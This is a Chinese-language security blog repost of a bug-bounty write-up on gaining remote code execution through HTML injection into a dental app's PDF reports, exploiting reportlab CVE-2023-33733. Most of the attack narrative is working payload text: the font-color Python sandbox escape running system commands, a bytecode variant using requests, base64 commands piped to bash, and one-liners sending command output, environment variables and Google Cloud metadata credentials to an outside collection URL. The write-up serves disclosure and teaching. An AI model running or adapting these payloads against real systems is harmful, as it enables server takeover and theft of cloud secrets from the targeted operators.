通过html注入实现CVE-2023-33733 RCE攻击

admin 2023年10月26日01:44:18评论10 views字数 8401阅读28分0秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。

背景介绍

CVE-2023-33733 由 Cure53 Elyas Damej 的渗透测试人员发现,本文将介绍国外一位白帽子通过采取哪些步骤,从确定目标使用什么库来生成PDF,最终又是如何实现 RCE的全过程。

目标简介

目标应用程序为牙医设计,可以上传患者的X光射线报告(支持PNG、JPG等格式),上传X射线图像后,可以编辑一些字段,如患者姓名、报告日期、评论等。在添加所有必需的详细信息后,还可以打印该X射线报告。

发现过程

首先在“生成报告”时抓包:

然后下载 PDF 报告并使用 exiftool 来检查是否可以识别在 PDF 生成过程中使用了哪种软件或库,遗憾的是没能获得任何信息。

然后白帽子在 comment 参数中添加了一些 html 代码:

"><img src=https://myhost>

通过使用上面的payload来识别可能用来渲染 html 代码服务器端的库/浏览器。

当再次点击“生成报告”按钮时,请求失败,检查响应包,发现报错:

{

"nparagraph text '<para>Note: <font color="#484848"><img src=x></font></para>' caused exception Parse error: saw </font> instead of expected </img>"

}

generic

155 Bytes

© Guge's Blog

看到这个错误,稍微有点经验的朋友估计心里都会开了花吧?

从报错来看,服务器似乎没有对用户输入进行有效清理,而是直接在 html 文件中使用了它们。

<para>Note: <font color="#484848">{{comment}}</font></para>

generic

59 Bytes

© Guge's Blog

因为没有有效的过滤清理,那么 {{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html。

另外从报错信息中可以看出,由于输入了<img sr=x> ,库的 html 解析器无法解析提供的 html,因为它没有匹配的结束标记。

<img src=https://myhost onerror=alert()>

在更换了上述payload后,显示了不同的错误消息,由于在 src 属性中添加了白帽子的个人服务器地址,当图像标记呈现时,请求将发送到白帽子的个人服务器,那么日志也许能告诉我们一些有关 User-Agent 的信息。

["nparagraph text '<para>Note: <font color="#484848">test"><img src=https://myhost onerror=alert()></font></para>' caused exception paraparser: syntax error: invalid attribute name onerror attrMap=['height', 'src', 'valign', 'width']"]

报错信息已经非常清晰的描述了问题所在,onerror 属性不在 attrMap 列表中,这就是触发报错的根本原因。

删除 onerror 属性再次测试:

User-Agent: Python-urllib/3.10

酷!后端是 python,当谈到 python 时,用于生成 pdf 的最流行的库之一就是 reportlab (https://www.reportlab.com/)

白帽子过去曾尝试研究这个库的源代码,试图在其中找到一些0day,但由于源代码审查并不是很擅长,所以最终以失败告终。但毕竟对reportlab还是有一些基本了解的,因此白帽子复制了错误消息的一部分并开始在源代码中进行了搜索。

很快便在 invalid attribute name https://github.com/search?q=repo%3ASudistark%2Freportlab-diff+%22invalid+attribute+name%22&type=code 中找到了匹配信息。

def getAttributes(self,attr,attrMap):

A = {}

for k, v in attr.items():

if not self.caseSensitive:

k = k.lower()

if k in attrMap:

j = attrMap[k]

func = j[1]

if func is not None:

#it's a function

v = func(self,v) if isinstance(func,_ExValidate) else func(v)

A[j[0]] = v

else:

self._syntax_error('invalid attribute name %s attrMap=%r'% (k,list(sorted(attrMap.keys()))))

generic

558 Bytes

© Guge's Blog

这与网站中显示的错误消息完全匹配。

研究人员 Elyas 分享了Payload 如何工作的完整详细信息,如有兴趣,可移步:https://github.com/c53elyas/CVE-2023-33733

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">

exploit

</font></para>

generic

505 Bytes

© Guge's Blog

在阅读Elyas的文章后,白帽子开始尝试理解这个payload,虽然阅读起来有难度,但通过 python 控制台来逐行执行它,对于后来的理解很有帮助。

在确认了使用reportlab库之后,白帽子使用了以下payload来确认它是否确实使用了存在漏洞的版本:

<para>

<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl https://myhost.com') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">

exploit

</font>

</para>

generic

515 Bytes

© Guge's Blog

它并没起作用,pdf 已成功生成,但没有 pingbacks 发送到研究人员的服务器。而后白帽子将curl命令更改为ping,wget,希望至少能够获得DNS交互,但依然失败。

这时白帽子开始怀疑应用程序是否真的使用了存在漏洞版本的库,在找到这个答案前,只能通过本地设置来完成了。

白帽子使用 Elyas 存储库中易受攻击的代码,以帮助他可以在本地确认该漏洞:https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py

from reportlab.platypus import SimpleDocTemplate, Paragraph

from io import BytesIO

stream_file = BytesIO()

content = []

def add_paragraph(text, content):

""" Add paragraph to document content"""

content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):

""" Get SimpleDocTemplate """

return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):

""" Build pdf document based on elements added in `content`"""

document.build(content, **props)

doc = get_document_template(stream_file)

#

# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR

#[

# [

# getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')

# for Word in [

# orgTypeFun(

# 'Word',

# (str,),

# {

# 'mutated': 1,

# 'startswith': lambda self, x: False,

# '__eq__': lambda self, x: self.mutate()

# and self.mutated < 0

# and str(self) == x,

# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},

# '__hash__': lambda self: hash(str(self)),

# },

# )

# ]

# ]

# for orgTypeFun in [type(type(1))]

#]

add_paragraph("""

<para>

<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">

exploit

</font>

</para>""", content)

build_document(doc, content)

generic

1.86 KB

© Guge's Blog

可以看到该漏洞在reportlab v3.6.12中被成功触发。

那么让我们来看看修复版本中会发生什么:

看到错误了吗?漏洞利用失败。
当在目标中使用相同的 poc 时,没有显示错误,pdf 已成功生成,这表明他们确实使用易受攻击的版本,否则会显示错误。

另一位白帽@rootxharsh曾遇到了类似的情况,其中curl,wget,ping不起作用,因此得出的结论是Chrome 浏览器进程可能是在启用了沙盒的情况下运行的,但事实上后来当另一位白帽@iamnoooob做同样检测时,他使用了反弹 shell 成功收到回调信息。

因此回到目标应用中,curl 等不起作用,那么为什么不尝试使用 python requests 模块呢?

<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00', (None, 'requests', 'https://myhost'), ('__import__','get'), (), '<stdin>', '', 1, b'\x12\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>

generic

681 Bytes

© Guge's Blog

替换了payload后,白帽子在他的服务器上成功地收到了pingbank:

User-Agent: python-requests/2.31.0

这也证明了我们可以在系统上实现任意代码执行,再次修改 poc 并依靠它来将命令输出发送到白帽子的服务器:

python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(id)')"

generic

89 Bytes

© Guge's Blog

python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(cat /proc/self/environ)')"

generic

109 Bytes

© Guge's Blog

(None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system')

generic

212 Bytes

© Guge's Blog

<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00', (None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>

generic

835 Bytes

© Guge's Blog

/proc/self/environ 的内容非常非常敏感,由于负责生成 pdf 的服务器托管在 Google Cloud 上,我们还可以获取Metadata 响应,为了确认这一点,白帽子使用了如下payload进行测试:

python3 -c "import requests;import base64;metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true';metadata_headers = {'Metadata-Flavor': 'Google'};response = requests.get(metadata_url, headers=metadata_headers);encoded_metadata = base64.b64encode(response.text.encode()).decode();target_server_url = 'https://en2celq7rewbul.m.pipedream.net/';data_payload = {'metadata': encoded_metadata};requests.post(target_server_url, json=data_payload)"

generic

468 Bytes

© Guge's Blog

经过美化后的PoC:

import requests

import base64

metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true'

metadata_headers = {'Metadata-Flavor': 'Google'} # custom metadata header requirement we have RCE so we could add it easily ;)

response = requests.get(metadata_url, headers=metadata_headers)

encoded_metadata = base64.b64encode(response.text.encode()).decode()

target_server_url = 'https://en2celq7rewbul.m.pipedream.net/'

data_payload = {'metadata': encoded_metadata}

requests.post(target_server_url, json=data_payload)

generic

540 Bytes

© Guge's Blog

上面的代码可以向 Google 云Metadata端点发出请求,然后将 json 响应发送到白帽子的服务器(base64 编码)。

在确认所有这些信息后,白帽子停止了继续测试并向厂商报告了以上所有内容,目标厂商对漏洞报告非常满意,尽管他们的最高赏金是3K,但他们为该漏洞支付了4.5K赏金。


感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月26日01:44:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过html注入实现CVE-2023-33733 RCE攻击http://cn-sec.com/archives/2140672.html

发表评论

匿名网友 填写信息